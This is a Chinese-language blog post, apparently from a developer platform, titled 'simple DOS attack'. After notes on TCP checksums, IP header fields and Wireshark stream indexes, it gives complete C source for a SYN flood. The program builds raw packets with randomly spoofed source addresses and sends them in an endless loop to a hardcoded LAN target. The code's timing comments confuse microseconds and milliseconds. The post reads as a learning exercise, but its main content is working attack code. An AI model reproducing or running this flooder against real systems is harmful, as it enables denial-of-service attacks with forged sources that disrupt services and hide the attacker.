简单DOS攻击


写在前面的:

1,在 socket(AF_INET,SOCK_RAW,IPPROTO_TCP)中,发出去的包会帮你计算ip的校验和,故在填充ip包头的时候可以不用管,也可设置为0,
但是tcp的校验和需要自己计算,且如果计算不对的话,可能达不到效果。

2,tcp的校验和还要包括伪首部,这是很重要的,否则计算也不对。

3,重发时间大概在   1.19 1.60 3.20 3.60  10.20  10.60 15.60  31.60

4,在ip 的identication字段,填写的是
  ⑤标识 (Identification):占 16位。

IP软件在存储器中维持一个计数器,每产生一个数据报,

计数器就加 1,并将此值赋给标识字段。但这个“标识”并不是序号,

因为 IP是无连接的服务,数据报不存在按序接收的问题。

当数据报由于长度超过网络的 MTU 而必须分片时,

这个标识字段的值就被复制到所有的数据报的标识字段中。

相同的标识字段的值使分片后的各数据报片最后能正确地重装成为

原来的数据报。

在我发出去的每个包,即SYN包,id字段是递增的(从某个数开始,好像是6375吧),
但是,target回包的时候(SYN+ACK),这个字段都是0,为什么呢???(我知道了,是不是SYN+ACK)是很小的,不可能分片,故不需要这个id来重组。。。,只需要看见ip.src和ip.dst就可以)。



4,在用wireshark抓包的时候,会有个stream index字段(这个字段在包里面是没有的,它是ws自己添加的)功能是,标识每一次对话(ipa,porta,ipb,portb),如果多个包的双方都是一次对话,那么他的stream index就是一致的。即一次对话。

the stream index is an internal Wireshark mapping to: [IP address A, TCP port A, IP address B, TCP port B]

All the packets for the same tcp.stream value should have the same values for these fields (though the src/dest will be switched for A->B and B->A packets)

see the Statistics/Conversations/TCP tab in Wireshark to show a summary of these streams

http://stackoverflow.com/questions/6076897/follow-tcp-stream-where-does-field-stream-index-come-from

Statistics/Conversations/TCP
Statistics/Conversations/endpoints/tcp
可以看到这些索引号对应的数据流


5知道了,我发出去的包,没有回应的都是多播地址,超过224.0.0.0就不会回应了。。。。




6,还发现,如果发包太快,接收方不会持续re包,只会相应一次。。。把时间调到1秒间隔,效果相当好。
但是,达不到攻击要求,故还需要精确的间隔。如0.5秒。但是sleep做不到,用usleep可以精确到微妙。usleep(1000)表示0.1秒,即1毫秒,1000微秒。


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <linux/tcp.h>
#include <netdb.h>
#include <time.h>
#define oops(msg){perror(msg);exit(0);}


void attack(int sockfd,struct sockaddr_in *target);
// 攻击函数,target为目标地址
unsigned short check_sum(unsigned short *addr,int prelen,int len);
// tcp校验和函数,因为校验和还要有伪首部,prelen是计算伪首部部分的参数,
// 伪首部包括ipsrc,ipdst,ip协议(这里是tcp,故为0x06),tcp长度
int main(int ac,char**av)
{
    
    /* 得到原始套接子,让自己构造的包能够发送出去。
    //这种套接子可以自己构造tcp,且ip部分的校验和是由内核帮你完成的
    不用计算ip校验和。*/
    int sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
    if(sockfd<0)
	oops("socket");
    const int on=1;
    if(ac!=2)
	oops("usage:dstport");//dstport为扫描得到的target的开放端口。
   struct sockaddr_in target; 
    /*构造攻击的目标地址 */
    bzero(&target,sizeof(target));
    target.sin_family=AF_INET;
    target.sin_port=htons(atoi(av[1]));
    if(inet_aton("192.168.1.101",&target.sin_addr)==0)
	oops("aton");

    /* 设置套接子的IP_HDRINCL选项,打开该选项,可以手动构造ip头部,
     * 且ip头部的校验和由内核维护。
     * 如果不打开该选项,ip首部不能够手动构造,是内核维护的,首部中的协议
     * 字段设置为调用socket函数时传递的第三个参数*/
    if((setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)))<0)
	oops("setsocketopt");

    /*一切就绪,开始像目标主机发包攻击*/
    attack(sockfd,&target);
}
void attack(int sockfd,struct sockaddr_in *target)
{
    char buff[128]={0};//初始化包。
    struct ip *ip; //其实这里也可也用struct iphdr,不过struct ip 兼容性更好
    struct tcphdr *tcp;

    int ip_len;// 整个ip包长度(不含mac等)
    ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
    /*构造ip头部*/
    ip=(struct ip*)buff;
    ip->ip_v=IPVERSION;
    ip->ip_hl=sizeof(struct ip)>>2;//ip首部长度以4字节为单位,这里故除以4
    ip->ip_tos=0;
    ip->ip_len=htons(ip_len);//这里注意字节序列的切换,因为ip_len是2字节的
    ip->ip_id=0;//表示校验和由内核维护。
    //这里的id通常情况下是表示同一个ip包的各个分片的标识。这里设为0,由内核
    //维护。
    ip->ip_ttl=MAXTTL;
    ip->ip_p=IPPROTO_TCP;
    ip->ip_sum=0;//校验和设为0;
    //这里的DF,MF,段偏移等字段没有设置,默认初始化0,没有问题。
    ip->ip_dst=target->sin_addr;//将target的地址填入包中。 
    
    /*构造tcp头部*/

    tcp=(struct tcphdr*)(buff+sizeof(struct ip));
    tcp->source=htons(4000);//这里默认本地端口为4000;
    tcp->dest=target->sin_port;
    tcp->seq=0;
    tcp->doff=5;//这个字段是头部偏移字段,占4位,表示头部的长度,
    		//以4字节为单位,这里tcp头部20字节,填入5(没有任何选项)
    tcp->syn=1;//syn字段,占1位,其余flags默认0.
    tcp->check=0;//这里的校验和要先填入0,不然在计算校验和时会陷入鸡生蛋,蛋生鸡的问题。

    /*包已经大部分构造好了,还差ip.src和tcp校验和,这里采取的随机生成
     * ip.src,故校验和要计算,每次随机生成ip.src,就发包。*/

    while(1)
    {
	srand(time(0));//随机种子,不然每次随机都是一样的。
	ip->ip_src.s_addr=random();//这里不用关心字节顺序,反正是随机的。
	printf("random ip %s\n",inet_ntoa(ip->ip_src));//可以打印看看。
	/*参数解释,其中6是指跨越ip首部的6个short型,到达ip.src的位置,
	 * 8是指,参与tcp的伪首部,包括ip.src,ip.dst,共8个short。
	 * 当然,伪首部还有协议类型和tcp长度,这里在后面细说,
	 * 20,指tcp头部长度。*/
	tcp->check=0;//很重要,如果不初始化,那么后面的包会隔一个就校验和为0,然后隔一个正确//探索了好久,打印了n多信息才发现。。
	tcp->check=check_sum(((unsigned short*)ip+6),8,20);

	sendto(sockfd,buff,ip_len,0,(struct sockaddr*)target,
		sizeof(struct sockaddr_in));
    }
}
unsigned short check_sum(unsigned short *addr,int prelen,int len)
{
    usleep(100000);//停留1毫秒,这个后面解释。

    unsigned long sum=0;
    /*伪首部之ip部分*/
    while(prelen>1)
    {
	sum+=*addr++;
	prelen-=sizeof(unsigned short);
    }
    if(prelen)
	sum+=*(unsigned char*)addr;

    /*伪首部之协议类型和tcp长度*/
    sum=sum+htons(0x0006)+htons(0x0014);
    //0x0006即tcp协议,0x0014即tcp长度20.注意,这里长度包括tcp的数据
    //部分,但这里没有数据,只有头部。且这两个数据要单方面计算,不能组合。
    
   /*校验和的tcp部分*/ 
    while(len>1)
    {
	sum+=*addr++;
	len-=sizeof(unsigned short);
    }
    if(len)
	sum+=*(unsigned char*)addr;
    /*校验和是short型,若超过了,要处理*/
    while(sum>>16)
	sum=(sum>>16)+(sum&0xffff);
    return (unsigned short)~sum;
}


/*这个程序可以实现已知攻击者的ip和开放端口的攻击,
 * 但通过试验发现,如果发包频率为1个/s,那么可以看到target会连续的
 * 会送相应的SYN+ACK包,可以达到效果,但这基本上起步到作用。
 * 但是,如果发包太快,发现target只会响应一次ACK+SYN(针对每个包)
 * 我也不知道是什么情况*/


    

































  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值